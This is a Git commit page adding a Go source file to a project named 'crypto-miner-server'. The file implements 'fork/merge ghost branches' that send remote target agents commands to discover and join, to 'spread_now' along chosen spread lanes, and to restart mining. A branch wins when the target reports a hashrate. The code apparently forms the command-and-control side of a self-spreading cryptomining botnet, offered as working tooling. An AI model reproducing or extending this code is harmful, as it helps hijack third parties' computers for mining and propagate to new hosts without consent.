Add Path Tracer onion timeline fork/merge with ghost branches and Seer feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators fork at hop N to run persona ensembles in parallel on the target agent until mining links; winners merge back into the canonical SQLite-persisted session with WS and Seer events plus mermaid branch graphs in the UI.
This commit is contained in:
AetherForge
510
server/internal/api/pathtracer_timeline.go
Normal file
510
server/internal/api/pathtracer_timeline.go
Normal file
@@ -0,0 +1,510 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
|
||||
"crypto-miner-server/internal/ai"
|
||||
)
|
||||
|
||||
// TimelineBranchStatus tracks ghost-branch exploration on a Path Tracer target hop.
|
||||
type TimelineBranchStatus string
|
||||
|
||||
const (
|
||||
BranchCanonical TimelineBranchStatus = "canonical"
|
||||
BranchRunning TimelineBranchStatus = "running"
|
||||
BranchWon TimelineBranchStatus = "won"
|
||||
BranchLost TimelineBranchStatus = "lost"
|
||||
BranchMerged TimelineBranchStatus = "merged"
|
||||
BranchFailed TimelineBranchStatus = "failed"
|
||||
BranchAborted TimelineBranchStatus = "aborted"
|
||||
)
|
||||
|
||||
// TimelineBranch is one onion timeline fork (ghost or canonical).
|
||||
type TimelineBranch struct {
|
||||
ID string `json:"id"`
|
||||
ParentID string `json:"parent_id,omitempty"`
|
||||
ForkHopIndex int `json:"fork_hop_index"`
|
||||
TargetAgentID string `json:"target_agent_id,omitempty"`
|
||||
TargetAgentName string `json:"target_agent_name,omitempty"`
|
||||
Persona string `json:"persona,omitempty"`
|
||||
SpreadLanes []string `json:"spread_lanes,omitempty"`
|
||||
Status TimelineBranchStatus `json:"status"`
|
||||
MiningLinked bool `json:"mining_linked"`
|
||||
Hashrate float64 `json:"hashrate,omitempty"`
|
||||
ActiveTier string `json:"active_tier,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
IsGhost bool `json:"is_ghost"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
MergedAt *time.Time `json:"merged_at,omitempty"`
|
||||
}
|
||||
|
||||
var defaultForkPersonas = []string{
|
||||
ai.PersonaAggressive,
|
||||
ai.PersonaSilent,
|
||||
ai.PersonaPassive,
|
||||
ai.PersonaPersuasive,
|
||||
ai.PersonaBalanced,
|
||||
}
|
||||
|
||||
const (
|
||||
ghostBranchPollInterval = 3 * time.Second
|
||||
ghostBranchTimeout = 90 * time.Second
|
||||
)
|
||||
|
||||
func initCanonicalTimeline(sess *TraceSession) {
|
||||
if sess == nil || sess.ID == "" {
|
||||
return
|
||||
}
|
||||
if len(sess.TimelineBranches) > 0 {
|
||||
return
|
||||
}
|
||||
sess.TimelineRootID = sess.ID
|
||||
sess.TimelineBranches = []*TimelineBranch{{
|
||||
ID: sess.ID,
|
||||
ForkHopIndex: -1,
|
||||
Status: BranchCanonical,
|
||||
IsGhost: false,
|
||||
CreatedAt: sess.CreatedAt,
|
||||
}}
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) broadcastTimelineEvent(sess *TraceSession, event string, branch *TimelineBranch) {
|
||||
if h.hub == nil || sess == nil {
|
||||
return
|
||||
}
|
||||
branches := timelineBranchSnapshot(sess)
|
||||
payload := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"event": event,
|
||||
"branches": branches,
|
||||
"mermaid": buildPathTracerMermaid(sess, branches),
|
||||
}
|
||||
if branch != nil {
|
||||
payload["branch"] = branch
|
||||
}
|
||||
if len(sess.Hops) > 0 {
|
||||
payload["target_agent_id"] = sess.Hops[len(sess.Hops)-1].AgentID
|
||||
}
|
||||
h.hub.broadcastDashboard(Message{
|
||||
Type: "pathtrace_timeline",
|
||||
Payload: mustMarshal(payload),
|
||||
})
|
||||
agentID := ""
|
||||
if branch != nil && branch.TargetAgentID != "" {
|
||||
agentID = branch.TargetAgentID
|
||||
} else if len(sess.Hops) > 0 {
|
||||
agentID = sess.Hops[len(sess.Hops)-1].AgentID
|
||||
}
|
||||
if h.hub != nil && h.hub.db != nil {
|
||||
seerPayload := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"event": event,
|
||||
"branches": branches,
|
||||
"mermaid": payload["mermaid"],
|
||||
}
|
||||
if branch != nil {
|
||||
seerPayload["branch"] = branch
|
||||
}
|
||||
_ = (&HubSeerEmitter{Hub: h.hub, DB: h.hub.db}).EmitSeerEvent("pathtrace_timeline", agentID, seerPayload)
|
||||
}
|
||||
}
|
||||
|
||||
func timelineBranchSnapshot(sess *TraceSession) []TimelineBranch {
|
||||
if sess == nil || len(sess.TimelineBranches) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]TimelineBranch, 0, len(sess.TimelineBranches))
|
||||
for _, b := range sess.TimelineBranches {
|
||||
if b != nil {
|
||||
out = append(out, *b)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func findTimelineBranch(sess *TraceSession, id string) *TimelineBranch {
|
||||
for _, b := range sess.TimelineBranches {
|
||||
if b != nil && b.ID == id {
|
||||
return b
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/fork
|
||||
// Body: {"session_id":"…","fork_hop_index":1,"personas":["aggressive","silent"]}
|
||||
func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
ForkHopIndex int `json:"fork_hop_index"`
|
||||
Personas []string `json:"personas"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
if req.SessionID == "" {
|
||||
http.Error(w, "session_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if !sess.Ready {
|
||||
http.Error(w, "session must be ready before fork", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
if len(sess.Hops) == 0 {
|
||||
http.Error(w, "session has no hops", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.ForkHopIndex < 0 || req.ForkHopIndex >= len(sess.Hops) {
|
||||
http.Error(w, "fork_hop_index out of range", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
target := sess.Hops[req.ForkHopIndex]
|
||||
if !h.hub.isAgentConnected(target.AgentID) {
|
||||
http.Error(w, "target hop agent not connected", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
personas := req.Personas
|
||||
if len(personas) == 0 {
|
||||
personas = append([]string(nil), defaultForkPersonas...)
|
||||
}
|
||||
normalized := make([]string, 0, len(personas))
|
||||
seen := make(map[string]bool)
|
||||
for _, p := range personas {
|
||||
p = ai.NormalizePersona(p)
|
||||
if seen[p] {
|
||||
continue
|
||||
}
|
||||
seen[p] = true
|
||||
normalized = append(normalized, p)
|
||||
}
|
||||
if len(normalized) == 0 {
|
||||
http.Error(w, "personas required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
initCanonicalTimeline(sess)
|
||||
parentID := sess.TimelineRootID
|
||||
if parentID == "" {
|
||||
parentID = sess.ID
|
||||
}
|
||||
var spawned []*TimelineBranch
|
||||
for _, persona := range normalized {
|
||||
lanes := ai.PersonaSpreadTierOrder(persona)
|
||||
branch := &TimelineBranch{
|
||||
ID: uuid.New().String(),
|
||||
ParentID: parentID,
|
||||
ForkHopIndex: req.ForkHopIndex,
|
||||
TargetAgentID: target.AgentID,
|
||||
TargetAgentName: target.AgentName,
|
||||
Persona: persona,
|
||||
SpreadLanes: lanes,
|
||||
Status: BranchRunning,
|
||||
IsGhost: true,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if len(lanes) > 0 {
|
||||
branch.ActiveTier = lanes[0]
|
||||
}
|
||||
sess.TimelineBranches = append(sess.TimelineBranches, branch)
|
||||
spawned = append(spawned, branch)
|
||||
}
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
|
||||
for _, branch := range spawned {
|
||||
b := branch
|
||||
go h.runGhostBranch(sess.ID, b)
|
||||
}
|
||||
h.broadcastTimelineEvent(sess, "fork", spawned[0])
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"session_id": sess.ID,
|
||||
"branches": spawned,
|
||||
"mermaid": buildPathTracerMermaid(sess, timelineBranchSnapshot(sess)),
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/merge
|
||||
// Body: {"session_id":"…","branch_id":"…"}
|
||||
func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
BranchID string `json:"branch_id"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
req.BranchID = strings.TrimSpace(req.BranchID)
|
||||
if req.SessionID == "" || req.BranchID == "" {
|
||||
http.Error(w, "session_id and branch_id are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
winner := findTimelineBranch(sess, req.BranchID)
|
||||
if winner == nil {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "branch not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if !winner.IsGhost {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "cannot merge canonical root", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if winner.Status != BranchWon && winner.Status != BranchRunning {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "branch must be running or won to merge", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
winner.Status = BranchMerged
|
||||
winner.MergedAt = &now
|
||||
sess.MergedPersona = winner.Persona
|
||||
if len(winner.SpreadLanes) > 0 {
|
||||
sess.MergedSpreadLane = winner.SpreadLanes[0]
|
||||
}
|
||||
sess.MergedHashrate = winner.Hashrate
|
||||
sess.MergedBranchID = winner.ID
|
||||
|
||||
for _, b := range sess.TimelineBranches {
|
||||
if b == nil || b.ID == winner.ID {
|
||||
continue
|
||||
}
|
||||
if b.IsGhost && b.Status == BranchRunning {
|
||||
b.Status = BranchAborted
|
||||
} else if b.IsGhost && b.Status == BranchWon {
|
||||
b.Status = BranchLost
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
h.broadcastTimelineEvent(sess, "merge", winner)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"session_id": sess.ID,
|
||||
"merged_branch_id": winner.ID,
|
||||
"merged_persona": winner.Persona,
|
||||
"merged_spread_lane": sess.MergedSpreadLane,
|
||||
"branches": timelineBranchSnapshot(sess),
|
||||
"mermaid": buildPathTracerMermaid(sess, timelineBranchSnapshot(sess)),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) runGhostBranch(sessionID string, branch *TimelineBranch) {
|
||||
if branch == nil {
|
||||
return
|
||||
}
|
||||
log.Printf("[pathtrace] ghost branch %s persona=%s target=%s",
|
||||
branch.ID[:min(8, len(branch.ID))], branch.Persona, branch.TargetAgentID[:min(8, len(branch.TargetAgentID))])
|
||||
|
||||
h.dispatchPersonaExploration(branch)
|
||||
|
||||
deadline := time.Now().Add(ghostBranchTimeout)
|
||||
for time.Now().Before(deadline) {
|
||||
time.Sleep(ghostBranchPollInterval)
|
||||
sess := h.getSession(sessionID)
|
||||
if sess == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
cur := findTimelineBranch(sess, branch.ID)
|
||||
if cur == nil || cur.Status == BranchMerged || cur.Status == BranchAborted || cur.Status == BranchLost {
|
||||
h.mu.Unlock()
|
||||
return
|
||||
}
|
||||
h.mu.Unlock()
|
||||
|
||||
hr := h.agentMiningHashrate(branch.TargetAgentID)
|
||||
if hr > 0 {
|
||||
h.mu.Lock()
|
||||
cur = findTimelineBranch(sess, branch.ID)
|
||||
if cur != nil && cur.Status == BranchRunning {
|
||||
cur.Status = BranchWon
|
||||
cur.MiningLinked = true
|
||||
cur.Hashrate = hr
|
||||
}
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
h.broadcastTimelineEvent(sess, "branch_won", cur)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
sess := h.getSession(sessionID)
|
||||
if sess != nil {
|
||||
cur := findTimelineBranch(sess, branch.ID)
|
||||
if cur != nil && cur.Status == BranchRunning {
|
||||
cur.Status = BranchFailed
|
||||
cur.Error = "mining not linked before timeout"
|
||||
}
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
h.broadcastTimelineEvent(sess, "branch_failed", cur)
|
||||
} else {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) dispatchPersonaExploration(branch *TimelineBranch) {
|
||||
if h.hub == nil || branch == nil {
|
||||
return
|
||||
}
|
||||
agentID := branch.TargetAgentID
|
||||
if !h.hub.isAgentConnected(agentID) {
|
||||
return
|
||||
}
|
||||
persona := ai.NormalizePersona(branch.Persona)
|
||||
|
||||
switch persona {
|
||||
case ai.PersonaPersuasive, ai.PersonaAggressive:
|
||||
_ = h.hub.SendAgentCommand(agentID, "discover_and_join", nil)
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
_ = h.hub.SendAgentCommand(agentID, "spread_now", spreadLaneArgs(branch))
|
||||
case ai.PersonaSilent, ai.PersonaPassive:
|
||||
_ = h.hub.SendAgentCommand(agentID, "restart_mining", nil)
|
||||
default:
|
||||
_ = h.hub.SendAgentCommand(agentID, "discover_and_join", nil)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
_ = h.hub.SendAgentCommand(agentID, "restart_mining", nil)
|
||||
}
|
||||
}
|
||||
|
||||
func spreadLaneArgs(branch *TimelineBranch) map[string]interface{} {
|
||||
if branch == nil || len(branch.SpreadLanes) == 0 {
|
||||
return nil
|
||||
}
|
||||
return map[string]interface{}{"preferred_lane": branch.SpreadLanes[0]}
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) agentMiningHashrate(agentID string) float64 {
|
||||
if h.hub == nil {
|
||||
return 0
|
||||
}
|
||||
if h.hub.db != nil {
|
||||
if ag, err := h.hub.db.GetAgent(agentID); err == nil && ag != nil {
|
||||
if ag.Hashrate15s > 0 {
|
||||
return ag.Hashrate15s
|
||||
}
|
||||
if ag.Hashrate1m > 0 {
|
||||
return ag.Hashrate1m
|
||||
}
|
||||
}
|
||||
}
|
||||
h.hub.mu.RLock()
|
||||
defer h.hub.mu.RUnlock()
|
||||
if tel, ok := h.hub.agentLiveTelemetry[agentID]; ok {
|
||||
if v, ok := tel["mining_hashrate"].(float64); ok && v > 0 {
|
||||
return v
|
||||
}
|
||||
if v, ok := tel["hashrate_15s"].(float64); ok && v > 0 {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func buildPathTracerMermaid(sess *TraceSession, branches []TimelineBranch) string {
|
||||
if sess == nil {
|
||||
return "graph TD\n empty[No session]"
|
||||
}
|
||||
var sb strings.Builder
|
||||
sb.WriteString("graph TD\n")
|
||||
sb.WriteString(" phone[\"📱 Client\"]\n")
|
||||
for i, hop := range sess.Hops {
|
||||
nodeID := fmt.Sprintf("hop%d", i)
|
||||
label := hop.AgentName
|
||||
if label == "" {
|
||||
label = hop.AgentID[:min(8, len(hop.AgentID))]
|
||||
}
|
||||
status := string(hop.Status)
|
||||
sb.WriteString(fmt.Sprintf(" %s[\"Hop %d: %s<br/>%s\"]\n", nodeID, i+1, label, status))
|
||||
if i == 0 {
|
||||
sb.WriteString(" phone --> hop0\n")
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf(" hop%d --> %s\n", i-1, nodeID))
|
||||
}
|
||||
}
|
||||
if len(sess.Hops) > 0 {
|
||||
sb.WriteString(fmt.Sprintf(" hop%d --> fork{{Fork onion}}\n", len(sess.Hops)-1))
|
||||
}
|
||||
for _, b := range branches {
|
||||
if !b.IsGhost {
|
||||
continue
|
||||
}
|
||||
nodeID := "ghost_" + strings.ReplaceAll(b.ID[:min(8, len(b.ID))], "-", "")
|
||||
style := branchMermaidClass(b.Status)
|
||||
label := fmt.Sprintf("👻 %s", b.Persona)
|
||||
if b.MiningLinked {
|
||||
label += fmt.Sprintf("<br/>%.0f H/s", b.Hashrate)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf(" %s[\"%s\"]\n", nodeID, label))
|
||||
sb.WriteString(fmt.Sprintf(" fork --> %s\n", nodeID))
|
||||
sb.WriteString(fmt.Sprintf(" class %s %s\n", nodeID, style))
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func branchMermaidClass(status TimelineBranchStatus) string {
|
||||
switch status {
|
||||
case BranchWon, BranchMerged:
|
||||
return "won"
|
||||
case BranchRunning:
|
||||
return "running"
|
||||
case BranchFailed, BranchAborted, BranchLost:
|
||||
return "failed"
|
||||
default:
|
||||
return "ghost"
|
||||
}
|
||||
}
|
||||
|
||||
func timelineFieldsForStatus(sess *TraceSession) map[string]interface{} {
|
||||
if sess == nil || len(sess.TimelineBranches) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := map[string]interface{}{
|
||||
"timeline_root_id": sess.TimelineRootID,
|
||||
"timeline_branches": sess.TimelineBranches,
|
||||
"mermaid": buildPathTracerMermaid(sess, timelineBranchSnapshot(sess)),
|
||||
}
|
||||
if sess.MergedPersona != "" {
|
||||
out["merged_persona"] = sess.MergedPersona
|
||||
}
|
||||
if sess.MergedSpreadLane != "" {
|
||||
out["merged_spread_lane"] = sess.MergedSpreadLane
|
||||
}
|
||||
if sess.MergedBranchID != "" {
|
||||
out["merged_branch_id"] = sess.MergedBranchID
|
||||
}
|
||||
return out
|
||||
}
|
||||
Reference in New Issue
Block a user